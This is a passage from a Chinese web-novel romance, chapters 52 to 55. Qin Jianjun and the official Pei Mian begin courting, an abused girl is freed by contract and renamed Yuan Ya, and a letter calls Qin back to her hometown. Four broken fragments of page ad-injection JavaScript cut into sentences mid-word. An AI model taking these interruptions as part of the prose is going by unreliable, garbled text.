秦见君不好意思让他回避,显得自己很龟毛似的,于是心一横,低头开始刷牙。 裴眠看见她的侧脸鼓了起来,看着肉嘟嘟的,他忍不住勾起嘴角。 洗漱好后,秦见君走上前要推着裴眠去厨房,谁知裴眠忽然站起来了。 “诶?”仰头看着比自己高大半个头的男人,秦见君觉得有点压迫感,忍不住往后挪了一点,拉开点距离。 她知道裴眠如今身子好多了,只是他在自己面前总是坐着轮椅,所以她对“裴眠身子好多了”这件事没有概念。 “走吧。”裴眠连轮椅都没推,抬腿往外走。 他的背影很挺拔,尤其今日稍稍打扮了一番,垂顺的布料绣着暗纹,在阳光照射下泛着细腻的光泽,衣摆随着他每一次抬步轻盈地翻起又落下。 秦见君跟在裴眠身后,眼睛不自觉地盯着他垂在身侧的手看——依然瘦,但骨架大,垂下时充血,手背青筋明显。 不知道牵起来是什么手感呢?看起来有点干燥,是热的还是冷的?会有小说里说的那种“薄薄的茧子”吗? “嘶......”专心低头盯着手看的秦见君并未发觉裴眠停下脚步,于是一头撞了上去。 他骨头硬,又没什么肉包着,撞上去像是撞在铁板上,秦见君鼻子剧痛,连带着眼睛都撞酸了...... “走路都不专心?”裴眠转身,抬手轻轻托着秦见君的下巴,仔细看了看她的鼻子——有点泛红,但没有流血。 秦见君被他用手“掐着”下颌抬起脸,有一瞬间觉得裴眠这时候应该说:“女人,你成功地引起了我的注意!” 想到这儿,她忍不住笑了一声。 裴眠蹙眉:莫不是撞傻了? 秦见君兀自笑了两声便停下了,她将脑袋从裴眠手里撤出来,心里想着他的手有点冷。 “没事,就撞了一下。”她抬手揉了揉鼻子,不在乎道。 “在想什么?路都不看?”裴眠问。 秦见君揉得鼻子泛痒,有点想打喷嚏,这时脑子是不运作的,于是顺着裴眠问的答道:“想牵你的手......阿嚏!” 打完喷嚏,她才反应过来自己说了什么,抬头去看裴眠,他脸上有点错愕,呆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 呆的。 看到这样的裴眠,秦见君又忍不住起了逗弄心思。 她伸手抓住裴眠的手,手指在他手心挠了挠,道:“你手怎么凉凉的?我给你捂着吧。”说着便两只手一起抓住了裴眠的右手——倒不是刻意撒娇,实在是他手大。 虽然只是抓着手,但裴眠却忍不住浑身僵硬,他忽然觉得自己失策了——不该舍弃轮椅的,因为此刻他窘迫地发觉自己有些站不住...... 秦见君被他的反应取悦了——这是什么超绝纯情男人? 虽然她自己也是第一次摸男朋友的手,但至少理论知识丰富,相比起裴眠,秦见君看起来镇定多了。 “不用捂......”裴眠觉得头有点晕,想抽回手,却被秦见君抓得紧紧的。 头顶的树叶发出娑娑声,有阳光透过枝叶缝隙投下光斑,秦见君的手与裴眠攥在一起,光斑她手背上摇晃,有点烫。 他说得也对,谁三伏天还要人捂手的? 于是秦见君松开了手,裴眠迅速收回自己的手背到身后,悄悄张开五指,让微风带走手心的薄汗。 秦见君有段时间没来厨房了,自手腕烫伤后,她就一直带着花招弟去大厨房蹭饭,如今手腕也好得差不多了,她打算亲自下厨。 今日起晚了,这会儿她自己也觉得有些饿,想着做些简单的早餐,快点填饱肚子。 “今天吃豆腐脑,你去石凳上坐着......” 话音未落,裴眠便站到了她身边:“一起。” 秦见君顿了顿,豆腐脑主要是豆腐加酱汁,酱汁要她亲自调,豆腐也是现成买好的,她挠了挠头,半晌才给裴眠安排了任务:“你......把豆腐拿去蒸一下,看着点火。” 这活儿没有技术含量,但裴眠并未说什么,照做了。 他乖乖站在灶边看着火,模样认真。 秦见君将头转到裴眠看不见的地方,勾了勾嘴角,低头开始调酱汁。 其实更简单的方法是加白糖拌着吃,但她喜欢吃咸口的,于是只能让裴眠再饿会儿肚子了。 好在裴眠没有半点怨言——即便洁白的衣角沾了灶边的灰。 秦见君知晓他一向讲究,于是蹲下身牵起他的衣角拍了拍,没拍掉,只好道:“要不你回淌虹苑换一件?” 裴眠抿着唇,似是很纠结,眉头紧紧蹙着。 “去吧。”秦见君起身,手覆在他后背,想将他推出厨房。 没想到裴眠站定不动,秦见君也不敢用力推,只好放下手看着他。 “算了,不碍事。” 秦见君:“?” 这可太奇怪了,平日里衣裳皱了都要去换的裴眠,居然能忍受衣裳上有灰? “为什么?不难受吗?”秦见君问。 裴眠点头:“难受。” 秦见君挑眉:“所以,要去换吗?” 裴眠:“不换。”似是意识到自己的回答太过简短,于是又补充道,“太远了......” 秦见君想到他现在还是有些行动不便的,即使只是从厨房走到淌虹苑,对他来说也“很远”了。 “我去拿轮椅过来,然后送你去换?”秦见君提议道,她不想裴眠一直难受。 裴眠眼睛一亮,问:“那你......会等我吗?” 他表情实在明显,秦见君顿时领悟了他的纠结...... 不怪自己方才迟钝,毕竟谁能想到知州大人是个粘人精呢? 52.第 52 章 最终秦见君还是先让裴眠喝完了豆腐脑,这才动身陪他去取轮椅。 “落霞轩在这儿呢,你去哪儿?” 看裴眠直直往池塘去,秦见君忙叫住他。 裴眠转身看过来,方才吃过咸香软滑的豆腐脑,这会儿嘴唇还是红艳艳的,看着十分有气色,连脸上略显尴尬的表情都被衬得活色生香。 秦见君看了看落霞轩中孤零零的轮椅,又看了看裴眠攥着衣摆的手,心中顿悟——原以为他有点走不动,怕行动不便,不想离开自己太久,所以才说不去换衣裳,如今看来,他分明早就受不了衣摆的灰了,也并非走不动,单纯是粘人不想离开自己而已! 秦见君觉得好笑,但看裴眠有些不自在,她又不忍心取笑,只好努力压着不翘起嘴角。 “走吧,换衣裳去。” 走到卧房门口时,秦见君才忽然想到,现在他们是情侣关系......一个房间换衣服什么的......是不是很容易冒粉红泡泡? “咳......你去换吧,我在院子里等你。”秦见君道。 裴眠并未多说,点点头便进了屋子。 都不拉扯挽留一下吗?秦见君忽然有点后悔自己的君子行为了。 她背着手在屋子外踱步,看着紧闭的门,忽然有种自己在陪裴眠试婚纱的感觉...... 裴眠动作不算慢,出来时秦见君眼前一亮。 他换了一身浅蓝色的衣裳,腰间配饰与头上发冠也换了一套,衬得他如玉清润。 秦见君上前,伸手拨了拨他腰间玉佩上的穗子,问:“这玉佩有什么讲究吗?” 裴眠顺着她的动作往下看,默了片刻,摇头道:“没什么讲究,觉得相配便挂上了。” “很好看。”秦见君不是傻子,今日他在衣裳中下的功夫和设计的小细节,都被她看在眼里,虽然人们常说“女为悦己者容”,但其实男也会为悦己者容嘛...... 得了秦见君的夸奖,裴眠抿了抿唇,微微颔首表示听到了,却不知如何回话,好在秦见君也没有一定要他说什么。 两人在池塘边新搭的亭子中练了一上午字——主要是秦见君在练。 用过午饭后,两人又在厨房里准备夜里出摊要用的食材。 “姐姐。” 秦见君抬头,看花招弟站在厨房门口,后面跟着袁分与裴小之,三人脸上都写着认真,于是她停下手中的活净了手。 “怎么样?”秦见君问。 “方才袁分去了一趟招弟家,与她......她母亲约好了明日签契约。”裴小之道。 他有些不确定,那个只顾着看自家男娃的妇人,算不算得上是花招弟的母亲,尤其在袁分说了自己想买花招弟后,那妇人竟迫不及待地商量起价格来,似乎花招弟只是她手中的滞销物...... 秦见君有些担心地问:“这契约能有效吗?官府认不认?” “认。”袁分低沉的声音响起。 秦见君看向他,他脸上十分平静,仿佛天生带着令人信服的力量。 花招弟的事便如此被敲定了,秦见君为她感到高兴,可她本人的情绪却好像并不高。 “姐姐,我今日能帮你一起出摊吗?”花招弟问。 秦见君想了想,还是拒绝了她:“明日吧,等你签了契约再来帮我,到时候我给你算工钱......” 花招弟的娘不是什么讲理的人,虽然口头约定了签契约的事,但难保她不会突然反悔,所以还是待契约签好了,再让花招弟来干活比较稳妥。 到了出摊的时辰,秦见君正要出门,便看见裴眠也跟了出来。 “你做什么?” 裴眠抬手做了一个“请”的姿势,道:“送你去平雅街南。” “不用送,我认识路的,你不是要多体验夜市吗?夜市方案具体执行的时候,还有很多小细节可以修改......”秦见君不想他为了自己忽然改变行程。 裴眠并不退让:“送到了我便走,不耽误。” 秦见君蹙眉正要说话,却被一旁的裴小之打断了:“秦小娘,你就让郎君送你去吧,先前有人来摊子上闹事,连我都吓得夜里没睡好,就算郎君不提,我也想送的......” 养伤的日子过得太安逸,秦见君都快忘了自己是为何受伤的了......眼下忽然提起,她才有些后怕起来,于是点头让两人跟上。 烟火大会的名声已响彻大荆,夜里街上的百姓只多不少,秦见君依旧忙得头都抬不起来,好不容易得空喘口气,便看见巷尾角落里站着一个熟悉的人。 “沈.....小姐?”秦见君迟疑了一下,索性食材都卖光了,她便让花招弟帮忙看着推车,自己走向了巷尾。 今日的沈婉看起来很不同,并无高人一等的气势,反而温和娴静。 “秦小娘,先前对不住,是我唐突无礼......” 秦见君被她的道歉给说懵了,微张着嘴不知该如何回复。 一旁的女使莺儿见她面色僵硬,便开口劝:“秦小娘,你就原谅我们小姐吧!小姐前段日子才受了家法,在床上趴着下不来,这才刚好了些便赶来同你道歉......” 这么一说,秦见君便更懵了——什么家法、道歉的?和我有什么关系? 三人在巷尾说了好一会儿,秦见君才弄清楚了来龙去脉. “所以你是为了破坏你跟裴眠的亲事,才装成跋扈的大小姐模样?”秦见君问。 “是,若我不闹这番,爷爷便不会认真听我说话.......”沈婉的眉头蹙着,颇有些愁美人的样子。 秦见君叹了口气,看来高门大户家小姐的婚事也不是那么如意嘛...... 街上的行人少了,巷子里也空了起来,秦见君忙了一晚上,正想放松一下,于是八卦地问:“你为什么喜欢赵大人啊?” 听她提起赵浅聿,沈婉的表情柔和了下来,脸颊爬上红晕,有些羞赧道:“从前沈府还在虔渊州时,爷爷曾于府中举办过诗会,请的都是官宦子弟......” “赵大人也去了诗会?”秦见君问,她眼底发亮,腮边泛红,八卦之情溢于言表。 “嗯......那日在花园中对诗,男女隔着屏风对坐,轮到我对诗时,有位郎君......措辞不当......”她的语气有些犹豫,似是在斟酌如何用词。 可莺儿却毫不客气地插嘴道:“那可不是‘措辞不当’!他就是故意的!故意想调戏小姐!” “调戏?”秦见君想到,男女对诗,那男人估计是想口头占便宜。 “就是调戏!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 莺儿肯定道,脸上还带着怒意。 沈婉适时打断了莺儿的抱怨,继续道:“总之,是赵大人替我解的围......隔着屏风看不真切,还是散了诗会后,我悄悄尾随才知晓他是何人......” 秦见君不禁感叹了一句古人感情的纯真,只是因为帮她解围,她就无法自拔地爱上,并且为了这个男人违背自己的原本性格去装跋扈...... “你是恋爱脑吗?”秦见君忍不住问。 沈婉眼中露出疑惑:“何谓恋爱脑?” 秦见君挠了挠脖子——忘了这是连“谈恋爱”的概念都没有的大荆了...... “就是为了喜欢的人,什么原则都可以不要,还会为了他打乱自己原本的生活。”秦见君言简意赅道。 沈婉默了默,柔声道:“我很少见到他......即便我想,也无法时刻为了他而打乱生活......” 秦见君眨眨眼——看来遇到真的恋爱脑了...... “见君......”沈婉有些不好意思,但还是继续道,“可以这样叫你吗?” “可以。”秦见君并不在乎别人怎么喊自己,不过看沈婉的样子,似是想通过亲昵的称呼来改变她与自己的关系,可是为何要与自己打好关系? 果然沈婉下一句便暴露了目的。 “我看见今日是裴大人送你来巷子中的......你是如何让他愿意送你的?” 沈婉的表情中带着强烈的好奇又夹杂着些克制,秦见君起了坏心思,故意道:“跟他谈恋爱就好了。” “谈恋爱?”沈婉不明白。 “嗯,就是表白心意,然后在一起相处,要是相处得好,以后就可以成亲了。” 沈婉还是第一次听说这个过程,有些紧张道:“表白心意......是互相的吗?” “当然了!单方面表白就想谈恋爱,那是耍流氓!”秦见君道。 “那......他的心意若是与我不在一处呢?” 秦见君摊了摊手道:“那就是有缘无分,你只能伴着一首《可惜不是你》遗憾离场。” 并未纠结“《可惜不是你》”是何物,沈婉的心思都在“互表心意”上,她很快便反应过来:“那你与裴大人......?” 秦见君挑起眉,连下巴都微微扬起,有些得意的样子:“嗯哼,我们心意互通,现在在谈、恋、爱!” 沈婉先是震惊二人的感情,随后又问:“谈恋爱是很好的事吗?你看起来很高兴。” “当然是好事了!”秦见君肯定道,“谈恋爱就是和喜欢的人待在一起,可以聊天、牵手、拥抱......还有接吻!” 沈婉震惊地睁大了眸子,结巴道:“那、那不是成亲后才能做的事吗?” 秦见君自觉无法破除大荆人对保守的固执,于是含糊道:“以成亲为目的谈恋爱,这些事不就都是早晚的差别吗?早一点晚一点不妨事的。” 沈婉有些懵地跟着点头,心中一团乱麻——与赵大人牵手、拥抱......亲、亲吻...... “你怎么了?”秦见君凑上前,担忧地看着红得像煮熟的虾似的沈婉。 “没、没事......”沈婉觉得自己有些呼吸不过来了,这些事她连想都不敢想...... 53.第 53 章 翌日,秦见君早早喊花招弟起床,将她打扮齐整,叮嘱她:“跟着袁分去签契约就行了,别听你爹娘说什么话,契约签好后,你就跟他们没有关系了......” 从此以后便能脱离苦海了。 花招弟认真点头,她有些不敢相信这样的好事能落到自己头上。 这段日子在秦见君身边过得近乎无忧无虑,可她心中却并不安稳,总觉得这样的好日子会被老天随时收回去。 夜里不太能睡着,还总是半夜惊醒,待看到身边睡得正香的秦见君时,她才稍稍放下心来。 如今要签契约了,签好后,她便能安心过上这样的好日子了...... “早去早回,尽量别让她爹娘跟她说话。”秦见君对袁分道。 袁分今日稍稍整理了头发,胡子也刮干净了,看着年轻了许多。 狭长的眸子配上三白眼,虽然刮掉胡茬后依旧是一副丧丧的模样,却平添了一点傲气,看着很不好惹。 “知晓了。”袁分应了声,低头看向花招弟,仅剩的右手抬了抬,却又放了下去,拳头微微攥紧,骨节泛白,声音淡淡的,“走吧。” 花招弟对情绪感知十分敏感,她垂眸看着袁分的右手,顿了顿,却没说什么,只点点头,两人保持着不远不近的距离一同出了门。 秦见君关上知州府侧门,心里还是有点忐忑,怕这事儿出岔子,也怕花招弟的人生改写后出现别的意外。 她觉得自己急需找点什么事来转移注意力。 “裴眠!” 裴小之为裴眠戴发冠的手停了一瞬,有些疑惑地抬起头往门口探:“怎么似乎听到了秦小娘的声音......” 话音未落,身前的裴眠已经起身走了出去。 “诶?郎君!发冠还没戴上呢!”裴小之拿着发冠跟了出去。 清晨的阳光不算炙热,秦见君站在阳光下,笑得眉眼弯弯的。 “还没收拾好?”秦见君问。 一个人待着就会焦虑花招弟的事,不如拉上男朋友来做点别的事。 “戴上头冠就好了。”裴眠道。 裴小之适时扬起手中的头冠,向秦见君示意。 “我来我来。”秦见君上前接过头冠,伸手将裴眠推回屋子里,又转头对还站在门外的裴小之道,“之管家,先前沈府送来的香橼没有及时吃掉,有一部分已经坏了,下人们等着你发话处理呢。” “坏了?”裴小之惊讶道,“我都放在冰库中啊!” “那也已经很久了,小心它发臭影响冰库里其他的食物,你快去处理一下吧。” 裴小之忙点点头,刚要转身,又想起来什么,嘱咐道:“戴上头冠后记得将桌上匣子中的玉佩挂上,与头冠是相衬的。” “好,我记住了。”秦见君不再废话,伸手将门合上了。 裴小之一路走到了池塘才反应过来:秦小娘关门做什么?从前都是开着的啊! 秦见君关上门转身,裴眠就站在屏风边等着她,俊朗的脸上写满了愉悦,这是刻意压着嘴角都掩饰不住的情绪。 他衣着齐整,在闷热的夏日依然清爽干净,虽然瘦,但足够高,秦见君忍不住想:抱起来会硌手吗? “坐下吧,给你戴头冠。” 裴眠依言坐下,秦见君站在他身后,看着镜中的裴眠,仔细地将发冠给他戴上。 秦见君弯腰仔细看着镜中的裴眠,确认发冠戴正了后,转着眸子在桌上扫了一圈,果然看见了一个匣子。 她拿起来打开,里面躺着一块与发冠花纹相似的玉佩。 先前她在府中养手腕伤时,裴眠也给她送过玉佩,只不过那时她觉得两人关系并不亲密,且她日日在烟火气中熏着,戴玉佩有些暴殄天物。 不过自从昨日看了裴眠腰间坠着玉佩的样子,她忽然又对戴玉佩有点兴趣了。 于是她取出玉佩,低头在自己腰间比划,拿不准要挂在左边还是右边。 正纠结着,一双瘦削的大手接过了玉佩,替她挂在了左侧腰间。 秦见君忍不住问:“挂在左边有讲究吗?” 裴眠替她顺好穗子,收回手道:“并无讲究,只是你惯用右手,挂在左侧更不妨事。” “哦......”秦见君低头看了看腰上的玉佩,又抬头看了看裴眠头上的发冠,忍不住笑了——情侣款诶...... 烟火大会时期过半,南方水患也渐渐平息,灾后重建需要银钱,近日来官家屡屡与裴眠私联,商议后续措施,于是秦见君挂了玉佩后便目送裴眠进了书房。 她原是有些不高兴的,毕竟刚谈恋爱就要因为工作繁忙而打断感情培养,换谁都不会高兴的,但走动时腰间轻晃的小重量,又让她心里像浸了蜜般甜。 她伸手抚了抚玉佩,嘴角忍不住扬了起来。 是以花招弟一回来,便看到秦见君嘴角噙着笑在厨房忙活。 “姐姐。”花招弟走上前,袁分跟在她身后,手上拿着几张纸。 “回来了?顺利吗?”秦见君抬头看到二人,忙擦了手走上前。 袁分将手中的契约递给她,道:“签好了。” 秦见君接过来仔细看完,才知晓了先前袁分说买卖花招弟不会出事是为什么。 袁分手上有三张契约,一张写着花招弟与爹娘断绝亲属关系,一张写着花招弟自愿与袁分结为兄妹关系,这两张契约都盖了官印。 另外还有一张私契,上面写着袁分花了三两金,让花招弟爹娘愿意签下前两张契约,从此花招弟无论是明面还是私底下,都与她从前的爹娘再无关系了。 秦见君松了口气,将契约还给袁分,转身看着花招弟,脸上挂着温和的笑:“开心吗?” 花招弟不知该如何说,签契约前她是高兴的,甚至充满了期待,但当爹娘毫不犹豫地为了银钱而摁下手印时,她忽然觉得心口很闷。 年幼的弟弟被抱在爹娘怀中,尚不知人世悲欢,他手指探入口中吮吸着,一双乌溜溜的眼睛紧盯着花招弟,不带任何厌恶或窥探之情,只是好奇地看着,根本不知当下正在发生什么。 她慌忙敛眸避开弟弟的目光——今日后,他不再是她的弟弟,她没了弟弟,也没了爹娘,只有“哥哥”了...... 见花招弟不说话,秦见君便打趣道:“高兴傻了?” 花招弟从胸口的闷痛中回神,愣愣地点点头,扯出一个笑来:“嗯......” “没事。”秦见君看出了她的勉强,伸手替她理了理头发,“习惯一段时间就好了。” “好。”花招弟点点头,垂在裤边的手攥了攥裤子,食指摸着裤子上磨出来的毛球,犹豫地转身看向袁分。 “......”虽然身份转变,但她实在是无法这么快接受,只好含糊了称呼,直接道,“我想跟着姐姐出摊。” 秦见君知晓她在想什么,于是让她待在厨房,自己与袁分去了石甬路上说话。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “她刚重获新生,还很不习惯,你知道的,这段日子她都跟我待在一起,跟我比较熟悉,要不先让她跟着我出摊学点东西?我会给她算工钱。”秦见君同袁分商量。 袁分点头:“我这段日子也要出摊,将她一人放在家里也不放心,你愿意将她带在身边已是帮了大忙,不用给工钱。” 秦见君想了想,道:“还是要给的,她这会儿正是没安全感的时候,要是能通过自己的劳动赚钱,应该会比较容易接受现状。” 袁分听了觉得有道理,他瞥了厨房一眼,又看向秦见君,低声道:“我不太懂怎么养孩子,以后怕是要多多麻烦你,若是你有什么事我能帮上忙的,尽管提便是。” 秦见君与他对视,两人心照不宣。 她将花招弟带在身边,也算是有了个知根知底的帮手,而且若是以后还遇到“明哥哥”这样的无赖,她还能求助袁分。 而于袁分来说,花招弟跟着秦见君能学到许多东西,因为她不藏私且足够细心,无论是厨艺还是为人处世,花招弟能在秦见君身上学到的只多不少。 目前这情况,无疑是双赢的。 秦见君与袁分回到厨房,花招弟有些忐忑地看着二人,等待宣判。 “以后就跟着我做工吧,不过你现在有新家了,夜里要跟哥哥回家住,不能住府中了,行吗?”秦见君问。 花招弟高兴得双眼睁大,猛地点头——能留在秦见君身边干活就行了,就是睡大街也没关系的! “嗯......”秦见君手指搭在下巴上,有些苦恼的样子。 “怎么了姐姐?”花招弟仰着头紧张地问,生怕突发变故,秦见君会改变心意。 秦见君蹙眉道:“我觉得‘招弟’这个名字不大好,你想不想改名字?” “改......名字?”花招弟愣住了。 秦见君点头,看向袁分:“改名字麻烦吗?” 袁分摇头:“不麻烦。” 于是秦见君伸手虚搭在花招弟的头顶,柔声道:“既然已经斩断了过去,不如连名字一起换了?你想换吗?” 花招弟头顶着秦见君热乎乎的手,觉得心里也热乎乎的,她有些懵。 自记事起她便顶着这个名字,起先她并不明白名字的含义,直到母亲生了弟弟,左邻右舍前来道喜,看见她都会提一嘴她名字取得好。 那时她才知道,原来自己的名字是为了弟弟取的...... 如今秦见君问她想不想改名字,她懵了一瞬,便很快被心里快要涌出来的声音淹没了。 “想,想改名字。”她听到自己这么说。 “那你有喜欢的字吗?”秦见君问。 花招弟伸出手指,指着自己道:“我......我自己取吗?” “名字是你的,你自己取喜欢的当然最好了。”秦见君解释道,不过看着花招弟纠结又犹豫的脸,她觉得这还是有点为难孩子了。 “想不出来的话......袁分有什么意见吗?”秦见君将取名字的任务交给了袁分。 袁分摇了摇头,他们那里的人,名字都是“爹爹”取的,没什么含义,只是为了好记与区分而已,他怕自己取名太随意,会被花招弟嫌弃。 “我也不知道怎么取......要不然去问问裴大人?”秦见君对花招弟道。 说裴大人,裴大人就到。 “问我什么?” 清朗的声音响起。 54.第 54 章 听到自家男朋友的声音,秦见君蹙着的眉立刻松开了。 “想让你给招弟改个名字。” 裴眠并未坐轮椅,而是走过来的,长身玉立,眉目舒朗。 秦见君凑过去同他说了花招弟与袁分的事。 她凑得很近,几乎要贴在裴眠的肩上,花招弟忍不住投去好奇的目光,上下打量着二人,忽然发现裴大人的头冠与姐姐腰间的玉佩极为相似——很奇怪,姐姐从前不戴玉佩的...... 裴眠点点头,问花招弟:“姓氏改不改?” 花招弟抿起唇,想到袁分拿出的三两金,她只在秦见君手中见过那么多钱,且秦见君说那是自己几个月辛辛苦苦攒下的...... 袁分断了一只手还坚持每日摆摊,身上也定是不富裕的,这么干脆地拿出三两金,真是吓到花招弟了,毕竟她从未想过,也不敢想,有朝一日,会有人为了自己花这么多银钱,从前爹娘总说自己是“赔钱货”...... “改。” “改袁姓?”裴眠又问。 花招弟快速地看了一眼袁分,在他的目光转过来之前便挪开了,声音坚定道:“嗯,改袁姓。” 秦见君略微惊讶地朝袁分挑眉,发现袁分的表情也有些呆住了。 裴眠却并不惊讶,只向花招弟投去了略带欣赏的目光,思考片刻才道:“重获新生,犹如新芽破土,从此受阳光雨露,茁壮成长,取‘芽’字如何?” “袁芽?”秦见君问。 裴眠点头,取了石桌上的纸笔将“袁芽”二字写了下来,递给花招弟。 她跟着秦见君识了一段时间字,认得这两个字,当初认字时无感,此时却越看越欢喜。 “喜欢这个名字吗?”秦见君问她。 “喜欢......” “那就叫袁芽,让你哥帮你把名字改了。”秦见君拍板道。 花招弟听到“你哥”这个称呼还有点没反应过来,待对上袁分的目光,她才觉得不自在起来。 从前的“家人”对她除了打骂就是漠视,如今有了新的家人,她才猛地发觉自己并不知道该如何像寻常人一样与家人相处......可以拜托他帮忙改名吗?或者还是明日自己上街打听打听呢? 她想着想着便慢慢低下头——自己去问的话,若是遇上从前认识的邻里,该如何解释呢? 正胡思乱想着,面前忽然伸过来一只大手,粗糙、布满伤痕,但看起来很结实、可靠。 “我看看。” 头顶响起袁分的声音,花招弟忙将手中写着姓名的纸递给他。 袁分接过纸看了看,觉得“芽”字很合适面前重获新生的女孩,于是将纸攥好收起道:“明日去办。” 花招弟立刻松了口气——原来不用开口求,他也会帮自己去改名字啊...... 袁分的动作很快,翌日便让花招弟正式更名为“袁芽”。 接下来的半个月,袁芽便跟在秦见君与袁分身后出摊,风雨无阻。 同样风雨无阻的还有裴眠,尽管秦见君极力劝阻,他也还是坚持要接送。 一连接送了好几日,并不见裴眠疲惫,秦见君也便慢慢放下心来,彻底沉浸在热恋期的黏糊氛围中。 时至八月下旬,烟火大会接近尾声。 秦见君将桌上的银钱都收入钱袋子中,灰扑扑的钱袋子鼓鼓囊囊的,与两月前瘪瘪的样子大不相同,秦见君的脸上却不是那么轻快。 摆摊赚的银钱超乎意料的多,眼下已经攒够了快六两金,她随时可以辞去府中厨娘职务,去开脚店,去靠近自己的理想...... 可该如何同裴眠说这件事呢? “唉......”秦见君趴在桌上,苦恼地叹了口气。 若说那夜的池塘表白是一时兴起、情之所至,那么这段日子以来的相处,便让秦见君更加坚定了那夜的表白并不是个错误。 秦见君愈发感受到裴眠的好,也愈发不想离开他。 但开一家酒楼是从上个世界到这个世界的执念,她不可能为了与裴眠在一起就放弃自己一直奋斗的目标。 只是她对于这种类似“离别”的过程,是十分陌生的,未知产生恐惧,她有些拿不准裴眠的态度。 她还不记事时便与父母离别,后来孙先生与文女士也被突如其来的车祸带走,她所经历的、与在乎的人的离别,都十分突然。 就连离开上一个世界来到这个世界,都是突然且强制的,“离别”给她带来的生活改变全是被迫接受,她有些不知道该如何平和地接受“离别”。 房门口忽然传来轻响,秦见君将钱袋子塞入柜子里,转头扬声问:“谁?” “是我。”门外传来裴眠的声音。 秦见君顿时放下警惕,三步并做两步跑过去开了门。 裴眠背对着月光立在门口,莹白的光洒在他肩头,在秦见君眼中,他像是隐隐发着光。 “进去说?”秦见君挡在门口不动,裴眠开口提议。 “啊......哦!”秦见君忙让开身,将裴眠迎了进来。 直到裴眠坐在了桌边,秦见君才忽然反应过来——这会儿该是裴眠入睡的时辰,夜已经深了,平日里裴眠很注重这些,从未深夜来访,也从不逾矩,今夜是怎么了? “有什么事吗?”秦见君也在桌边坐下,问道。 裴眠正想拿出信件,却忽然发现秦见君的脸色不对,于是停了动作,先问了秦见君:“怎么了?你脸色不大好。” 秦见君愣住——她都已经尽力掩藏情绪,却还是被他发现了。 裴眠的表情十分关切,秦见君顶不住这样的目光,只好坦白了自己的想法。 “我......我先前说......想开酒楼......”她说着,悄悄抬眼去看裴眠。 他面色不改,淡然点头道:“我记得,你开脚店的本钱够了?” “嗯......”秦见君的心几乎要提到嗓子眼儿。 裴眠并未像她想象中的一样表现出失落或者愤怒,而是直直看着她的眼睛问:“打算什么时候离府?” 秦见君眨了眨眼:“你......不难过吗?” 裴眠似乎有些不理解她的意思,问道:“为何要难过?” 秦见君忽然觉得有些生气,裴眠这样子是什么意思?是自己离开也不要紧、他并不在乎的意思吗? “我、要、 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 离、府,要、离、开、你,懂了吗?”她一字一句道。 裴眠看她有些气鼓鼓的模样,觉得有些好笑。 “我懂的,不过......”裴眠话还未说完,就看秦见君从桌边站了起来,朝自己伸出手,下一刻自己的脸就被她捏住了。 “你懂还这么淡定......你是不是根本不在乎啊?”秦见君双手掐着裴眠颊边近日才长出来的一点肉,微微用力向两边拽了拽。 “嗯......”裴眠有些吃痛,但并未躲开,而是努力张嘴说话,“&%&%¥##@......” 秦见君恍然发觉自己的行为有点幼稚,于是松开手,忍不住替他揉了揉被捏痛的脸颊。 裴眠抬手覆在秦见君的手上,贴在脸边,扯了扯有点痛的嘴角道:“我知晓你要出府去开脚店,只不过想要生意好的话,铺子必得开在平雅街上,裴府离平雅街不远,我可以时常去见你......” 秦见君的手僵住——也对啊,她只是要出府去开脚店,又不是要漂洋过海去别的国家...... 思及此,秦见君心里涌出一阵愧疚——裴眠脸颊上的肉都是好不容易才长出来的,而且他平日里就十分在意自己的脸,这样随意揉捏,他居然也不生气...... “对不起......是我误会了......”秦见君不好意思地微微弯腰,双手捧着裴眠的脸给他轻轻揉着。 方才被捏疼的脸,这会儿在秦见君的手中被揉得有些舒服,裴眠忍不住仰起脸,让她更方便揉搓。 裴眠平时看起来总是有些距离感的,这是秦见君从下人们与袁芽他们口中得知的。 虽然他行事公正,从不无缘无故为难、苛责旁人,但大家还是不敢与他太过亲近,总觉得他这样的身份与百姓是不同的,无论多么平易近人,也绝不会真的与百姓变得一样。 秦见君忍不住挑眉——可他分明就像个软柿子,怎么捏都不生气。 她揉了一会儿,才开口道:“我打算这个月底离府,这段时间要去看铺子,再看看屋子。” “我可以帮你。”裴眠道。 秦见君委婉道:“我先去看看,如果不顺利的话,再来找你帮忙。” “好。”裴眠知晓自己的提议大概会被拒绝,毕竟秦见君一向不怎么向他求助。 “说起来,你这么晚来找我干嘛?”秦见君问。 裴眠这才将带了一路的信件拿了出来,递给秦见君道:“夜里收到的信,从湖梁县来的。” “诶?”秦见君接过信,一边拆开一边喃喃道,“湖梁县怎么了?怎么又忽然给我写信了......” 待她拆开信来看,脸色便越来越差,裴眠眼见着她的眉头越蹙越深。 “怎么了?”看秦见君放下信纸,裴眠便开口问。 “冯莲出事了......”信中并未写明具体原因,只说冯莲与那书生的婚事出了意外,如今冯莲性命垂危,费了许多力气才托人找到安承喜给秦见君来信求助。 秦见君想起当初自己躺在屋子里等死时,是冯莲替她喊来了大夫...... “我要回一趟湖梁县。”信件往来太慢,秦见君决定亲自回去看看。 55.第 55 章 裴眠将袁原喊了进来。 “你同她一起去湖梁县......”裴眠话音未落,便听到袁原说话了。 “大人,升官在即,朝中暗流汹涌,我要守在您身边。” 秦见君一听,立刻紧张起来。 烟火大会办得很成功,官家赏赐只多不少,听袁原的意思,官家似是要为裴眠升官...... 他本就是被朝廷其他官员排挤出虔渊州,如今升官,定也是有不少双眼睛盯着,即便他身子大好了,也需要人守护身侧。 “你让袁原跟着你吧,我只是回乡探亲,等解决完冯莲的事就回来了。”秦见君道。 裴眠想了想,还是放心不下,道:“那让袁分跟着你。” 秦见君无奈摊手:“袁分昨日带着小芽去虔渊州给吴幽扫墓了......” “那我派人......” “好了别派了......”秦见君有点哭笑不得,安慰道,“湖梁县又没什么跋扈的富贵人家,我也不爱惹事,没什么问题的......” 袁原不知何时退出了屋子,秦见君讲了很多话,直到有些犯困打呵欠了,裴眠才愿意放她一个人回湖梁县。 